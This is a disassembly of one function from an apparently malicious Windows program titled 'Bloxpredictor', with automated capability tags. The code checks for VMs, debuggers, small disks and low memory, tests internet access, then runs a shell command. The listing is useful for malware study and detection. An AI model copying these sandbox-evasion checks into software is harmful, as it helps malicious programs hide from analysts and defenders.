Function at 0x1400034b0
Capabilities:
Check internet connectivity via wininet
Create process on windows
Enumerate gui resources
Execute command
Get memory capacity
Get system information on windows
Protect spawned processes with mitigation policies
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str.Bloxpredictor_Temporary___v1.1
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xor esi, esi
cmp ebx, 2
jl 0x140003612
mov rbx, qword [rdi + 8]
lea r9, [rbp - 0x28]
xorps xmm1, xmm1
mov qword [rsp + 0x30], rsi
xor eax, eax
movaps xmmword [rbp - 0x50], xmm1
movups xmmword [rsp + 0x50], xmm1
mov qword [rbp - 0x30], rax
movabs rax, 0x100000000000
movups xmmword [rbp - 0x80], xmm1
mov qword [rsp + 0x28], rsi
xor edx, edx
movups xmmword [rsp + 0x60], xmm1
mov r8d, 0x20007
mov dword [rsp + 0x50], 0x70
movups xmmword [rsp + 0x70], xmm1
mov dword [rbp - 0x74], 0x80000
movups xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x28], rax
movups xmmword [rbp - 0x60], xmm1
mov qword [rsp + 0x20], 8
psrldq xmm1, 8
xorps xmm0, xmm0
movq rcx, xmm1
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov rdx, rbx
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400035e1
mov rcx, rbx
call fcn.140009e10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140009e10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp], 2
jb 0x1400036bb
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x58]
shr rax, 0x14
cmp eax, 0x800
jb 0x1400036bb
mov qword [rsp + 0x30], rsi
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400036bb
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rbp - 0x40]
mov dword [rsp + 0x28], 0x18
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x70000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1400036e3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Your_computer_does_not_meet_the_requirements_to_run_this_program_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbp - 0x30]
mov eax, dword [rbp - 0x2c]
imul rax, rcx
mov ecx, dword [rbp - 0x34]
imul rax, rcx
mov rcx, rdi
imul rax, qword [rbp - 0x40]
cqo
and edx, 0x3fffffff
lea rbx, [rdx + rax]
sar rbx, 0x1e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x64
jb 0x1400036bb
call fcn.140002220
test eax, eax
jne 0x140003748
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Your_CPU_has_been_flagged_a_known_VM_cpu.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
lea rcx, [0x1400025d0]
call qword [sym.imp.USER32.dll_EnumWindows]
xor r8d, r8d
lea rcx, str.http:__www.google.com
mov edx, 1
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
jne 0x140003798
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.No_internet_connection_available.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400093a0
test al, al
je 0x1400037c9
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Your_computer_hardware_has_been_flagged_as_a_debugger.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400030f0
lea rcx, [0x14000cee0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140004430
xor eax, eax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140009df0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret